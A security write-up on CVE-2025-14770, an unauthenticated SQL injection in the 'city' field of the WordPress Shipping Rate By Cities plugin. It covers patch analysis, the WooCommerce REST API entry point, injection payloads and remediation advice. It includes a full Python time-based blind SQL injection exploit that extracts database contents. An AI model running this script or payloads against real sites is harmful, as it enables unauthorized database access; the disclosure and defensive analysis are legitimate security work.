---
# System prepended metadata

title: WordPress Shipping Rate By Cities Plugin

---

# CVE-2025-14770 – Unauthenticated SQL Injection via "city" Parameter

![image](https://hackmd.io/_uploads/r1isJ3HLZl.png)

# WordPress Shipping Rate By Cities Plugin

## Overview


- **CVE ID:** CVE-2025-14770
- **Affected Plugin:** Shipping Rate By Cities
- **Affected Versions:** ≤ 2.0.0
- **Vulnerability Type:** Unauthenticated SQL Injection
- **Attack Vector:** Network
- **Authentication Required:** No

## Description


The **Shipping Rate By Cities** WordPress plugin contains an **unauthenticated SQL Injection** vulnerability in versions up to **2.0.0**.
The issue originates from unsafe handling of the `city` parameter, which is concatenated directly into an SQL query without proper preparation.


Because the vulnerable code is reachable during the **WooCommerce checkout flow**, an attacker does **not need authentication** to exploit it.


Successful exploitation allows an attacker to manipulate SQL queries, potentially leading to:


- Sensitive data disclosure
- Database enumeration
- Service degradation via time-based payloads


## Patch & Commit Analysis

![image](https://hackmd.io/_uploads/SyZ78G8LWg.png)

Based on the image provided, here is the technical analysis of the patch for **CVE-2025-14770** in the "Shipping Rate by Cities" WordPress plugin.

**The Vulnerability: SQL Injection (SQLi)**

Looking at the right side (the old version), the code for the getCityFee function was:

```php 
public function getCityFee($city_name){
       global $wpdb;
       $table = $wpdb->prefix . "shiprate_cities";
       return $wpdb->get_row("SELECT rate FROM $table where city_name = '$city_name'", ARRAY_A);
}
```

- **The Problem**: The variable **$city_name** was directly concatenated into the SQL query string.
- **The Risk**: Since **$city_name** likely comes from a user-controlled source (like a checkout form), an attacker could input something like ' OR 1=1 -- to manipulate the query, bypass logic, or extract sensitive data from the database.

**The Patch**: Secure Coding Practices
The left side (the new version) introduces several layers of defense to mitigate this vulnerability

**Input Sanitization**
The patch adds:

```php 
$city_name = sanitize_text_field($city_name);
```

- This is the first line of defense. It strips out HTML tags and characters that shouldn't be in a simple text field, reducing the attack surface.

**Prepared Statements (The Core Fix)**
The most critical change is the shift to the $wpdb->prepare() method:

```php
$result = $wpdb->get_row(
    $wpdb->prepare(
        "SELECT rate FROM {$wpdb->prefix}shiprate_cities WHERE city_name = %s",
        $city_name
    ),
    ARRAY_A
);
```
- **How it works:** Instead of building a string, it uses a placeholder (%s). WordPress then handles the data binding, ensuring that the value of $city_name is treated strictly as data, not as part of the SQL command. This effectively kills the SQL Injection vector.

**Implementation of Object Caching**
The patch also introduces the WordPress Cache API:

```php 
$cached = wp_cache_get($cache_key, $cache_group);
if (false !== $cached) {
    return $cached;
}
...
wp_cache_set($cache_key, $result, $cache_group);
```

- While primarily introduced for performance optimization, object caching may reduce repeated identical queries, but it should not be considered a security mitigation against SQL Injection or DoS attacks, as attackers can still bypass cache by varying input values.
 
## Attack Flow 

I have categorized the data flow into two main processes:
- Admin Process: How data is stored in the database (Configuration).

![image](https://hackmd.io/_uploads/rJHqDXUIWg.png)

- User/Checkout Process: How data is retrieved and used (The Vulnerable Path).

![image](https://hackmd.io/_uploads/H19y_78UWg.png)

![image](https://hackmd.io/_uploads/BJMFOQ8U-x.png)


## SINK -> SOURCE (Backtrace)

I present this part in the report to explain "The path of malicious data

- File: shiprate-cities-method-class.php
- Class/Method: ShipRate_FlatShipRateCity_Method::getCityFee($city_name)

![image](https://hackmd.io/_uploads/BJdiBVOLbg.png)

**Caller (Function to call and transmit data)**

After the breakpoint was hit it will call `ShipRate_FlatShipRateCity_Method::calculate_shipping($package)` method.

```php 
public function calculate_shipping( $package = array() ) {
    $weight = 0;
    $cost = 0;
    $address = $package["destination"]; // country, state, postcode, city, address, address_1, address_2
    $cost = $this->getCityFee($address['city']);
```

The variable `$package` is an array containing cart information and shipping address. This variable has not been strictly controlled at this step.

**Trigger (WordPress/WooCommerce Hook Mechanism)**

- Mechanism: The plugin registers this method into the WooCommerce system through the hooks `woocommerce_shipping_init` and `woocommerce_shipping_methods` (in the main plugin file).
- Flow: When WooCommerce needs to recalculate the total amount (when the user changes address, adds items...), it will loop through all activated Shipping Methods and call the calculate_shipping($package) function of each one.

![image](https://hackmd.io/_uploads/BJW35Vu8bg.png)

**SOURCE (Input Point & Entry Point)**

Unlike standard WordPress Form submissions ($_POST), JSON data sent via REST API is not subjected to WordPress's default wp_magic_quotes() mechanism. This allows raw single quotes (') to reach the vulnerable function without being escaped as \', making the SQL Injection possible.

- Entry Point: Hacker sends Request to REST API `/wp-json/wc/store/v1/cart/update-customer`.
- Controller: `Automattic\WooCommerce\StoreApi\Routes\V1\CartUpdateCustomer::get_response `(This is the core code of WooCommerce).

## POC And Debug

When a user updates their shipping information on a WooCommerce site, the browser sends a REST API request to all action.

**Endpoint:/wp-json/wc/store/v1/cart**

![image](https://hackmd.io/_uploads/S1JMlBOL-l.png)

After proceed checkout, we can see that it calls a REST API to check the cart and check for every value like address or state in personal customer details.

![image](https://hackmd.io/_uploads/SkcTlruLbl.png)

When i change shipping address value and change shipping method, i got an API called `/wp-json/wc/store/v1/batch?_locale=site`, as we saw at the image above, it will request to another API called `/wc/store/v1/cart/update-customer` and this this the place that called entry point because its function was to changed the customer details. Besides, the vulnerable value is `city`.

**Why send an `update-customer` request?**

- Because the `getCityFee` error function uses `City` as input.
- The update-customer API is the standard endpoint to change City to enable Shipping Calculation.

Once the API receives this data, the following "domino effect" occurs inside WordPress:

- **Data Processing:** WooCommerce receives the JSON and updates the session/cart object with the new address.
- **Shipping Recalculation:** WooCommerce triggers a recalculation of shipping costs to reflect the new address. It looks for active shipping methods.
- **The Hook:** The "Shipping Rate by Cities" plugin is activated. It retrieves the city name from the cart to look up the specific rate in its database table.
- **The Vulnerable Call:** The plugin passes the raw, unsanitized string from the API directly into the function we saw in the diff:

```php
$this->getCityFee($city_name);
```

Using that logic vulnerable at city variable, now i can inject SQL query to trigger vulnerability.

![image](https://hackmd.io/_uploads/B13JXmI8Zl.png)

The response time is roughly 4x the sleep value. This behavior is consistent with WooCommerce’s cart recalculation lifecycle, where shipping methods may be evaluated multiple times per request (e.g., for billing and shipping contexts), resulting in repeated execution of the vulnerable query.

To further validate this behavior, the sleep duration was modified to observe the corresponding change in response time.

![image](https://hackmd.io/_uploads/ByyeVXUIZx.png)

After change payload's sleep time to 5 and sent the request, look at the response show that the time response was decrease about half and it took just 21s. That prove that POC success. Now create a python script to make exploit process be automated.

<details>
<summary>Click see script in details</summary>

<br>

````python
import requests
import time
import string
import sys

# ==============================================================================
# CONFIGURATION
# ==============================================================================
# URL of the WordPress site (e.g., http://localhost or https://target.com)
TARGET_URL = "http://localhost" 

# ID of a REAL product on the target site (Required to initialize the cart)
# Go to WP Admin -> Products -> Hover over a product to see the ID.
PRODUCT_ID = 71                 

# Time in seconds to sleep if the guess is correct (Latency check)
SLEEP_TIME = 3                  

# API Endpoints
API_ADD_ITEM = f"{TARGET_URL}/wp-json/wc/store/v1/cart/add-item"
API_UPDATE_CUSTOMER = f"{TARGET_URL}/wp-json/wc/store/v1/cart/update-customer"

# Initialize Session
s = requests.Session()

def setup_session():
    """
    Step 1: Initialize WooCommerce Session
    We must add an item to the cart to generate valid 'Nonce' and 'Cart-Token' headers.
    """
    print("[*] Initializing session and adding product to cart...")
    
    try:
        # First request to trigger session creation and get headers
        # Even if this fails (400/401), it usually returns the Nonce in headers
        r = s.post(API_ADD_ITEM, json={"id": PRODUCT_ID, "quantity": 1})
        
        nonce = r.headers.get('Nonce')
        cart_token = r.headers.get('Cart-Token')
        
        if not nonce or not cart_token:
            print("[-] Failed to retrieve Nonce or Cart-Token.")
            print("[-] Hint: Check if the PRODUCT_ID exists and is publish.")
            sys.exit(1)
            
        print(f"[+] Nonce captured: {nonce}")
        print(f"[+] Cart-Token captured: {cart_token[:20]}...")
        
        # Update session headers for subsequent requests
        s.headers.update({
            "Nonce": nonce,
            "Cart-Token": cart_token,
            "Content-Type": "application/json"
        })
        
        # Second request: Actually add the item to ensure the cart is not empty
        # (Shipping calculation only triggers if cart > 0)
        r = s.post(API_ADD_ITEM, json={"id": PRODUCT_ID, "quantity": 1})
        
        if "items_count" in r.text and r.json().get('items_count', 0) > 0:
            print("[+] Product added successfully. Cart is ready.")
            return True
        else:
            print(f"[-] Failed to add product. Response: {r.text}")
            return False
            
    except Exception as e:
        print(f"[-] Connection Error: {e}")
        sys.exit(1)

def inject_payload(sql_condition):
    """
    Sends the malicious payload to the shipping_address city field.
    Returns the elapsed time of the request.
    """
    # The vulnerability allows injecting into the 'city' field.
    # Logic: If the condition is TRUE, the DB sleeps.
    # Payload format: Hanoi' OR IF(<CONDITION>, SLEEP(T), 0) -- 
    payload = f"Hanoi' OR IF({sql_condition}, SLEEP({SLEEP_TIME}), 0) -- "
    
    data = {
        "billing_address": {
            "city": "Hanoi"
        },
        "shipping_address": {
            "city": payload
        }
    }
    
    start_time = time.time()
    try:
        # We don't care about the response content, only the time it took
        s.post(API_UPDATE_CUSTOMER, json=data)
        elapsed_time = time.time() - start_time
        return elapsed_time
    except Exception as e:
        print(f"[!] Request Error: {e}")
        return 0

def extract_data():
    """
    Performs the Time-Based Blind SQL Injection to extract the Database Version.
    """
    print("\n[*] Starting Blind SQL Injection Attack...")
    print("[*] Target: @@version")
    
    extracted_value = ""
    
    # Iterate through character positions (Assuming length < 20 for demo)
    for position in range(1, 25):
        found_char = False
        
        # Iterate through printable characters
        for char in string.printable:
            # Skip characters that might break JSON or SQL string escaping for simplicity
            if char in ['"', '\\', "'"]: continue
            
            # Construct SQL: Check if character at current position matches our guess
            # Using ASCII() avoids issues with quotes inside the SQL string
            sql_condition = f"ASCII(SUBSTRING(@@version,{position},1))={ord(char)}"
            
            # Send request and measure time
            sys.stdout.write(f"\r[>] Testing pos {position}: {char} | Found: {extracted_value}")
            sys.stdout.flush()
            
            duration = inject_payload(sql_condition)
            
            # If response time >= SLEEP_TIME, we found the character
            if duration >= SLEEP_TIME:
                extracted_value += char
                found_char = True
                break # Move to next position
        
        if not found_char:
            print("\n[*] End of string or character not found.")
            break
            
    return extracted_value

if __name__ == "__main__":
    print("==================================================")
    print("   CVE-2025-14770 Exploit (Time-Based SQLi)       ")
    print("   Target: WooCommerce Shipping Rate By Cities    ")
    print("==================================================")
    
    if setup_session():
        result = extract_data()
        print("\n" + "="*50)
        print(f"[SUCCESS] Database Version: {result}")
        print("="*50)
````
</details>
    
![image](https://hackmd.io/_uploads/HJcdYr_Ubg.png)

Successful dump the database version.
    
## Remediation & Recommendations

**For Site Administrators**
- **Immediate Update:** If you are using the "Shipping Rate by Cities" plugin, ensure you have updated to version 2.0.1 or higher. This version includes the critical security patches analyzed in this report.
- **Deploy a Web Application Firewall (WAF):** Use a WAF (such as Cloudflare, Wordfence, or Sucuri) to detect and block common SQL injection patterns (e.g., SLEEP(), UNION SELECT), while acknowledging that WAFs should not be relied upon as the sole defense.
- **Audit Database Permissions:** Ensure the database user for WordPress has the least privilege necessary. This limits the potential damage if an SQL injection vulnerability is exploited.

**For Developers**
- **Never Trust User Input:** Always treat data coming from APIs or forms as untrusted. Use built-in WordPress sanitization functions like sanitize_text_field() or absint() as a first layer of defense.
- **Mandatory use of $wpdb->prepare():** Never concatenate variables directly into SQL queries. The $wpdb->prepare() method is the industry standard for preventing SQLi in WordPress by ensuring that data is safely escaped and handled as a literal value.
- **Implement Rate Limiting:** Since this vulnerability is unauthenticated, implement rate limiting on sensitive endpoints like /wp-json/wc/store/v1/cart/update-customer to prevent automated scanning and brute-forcing.



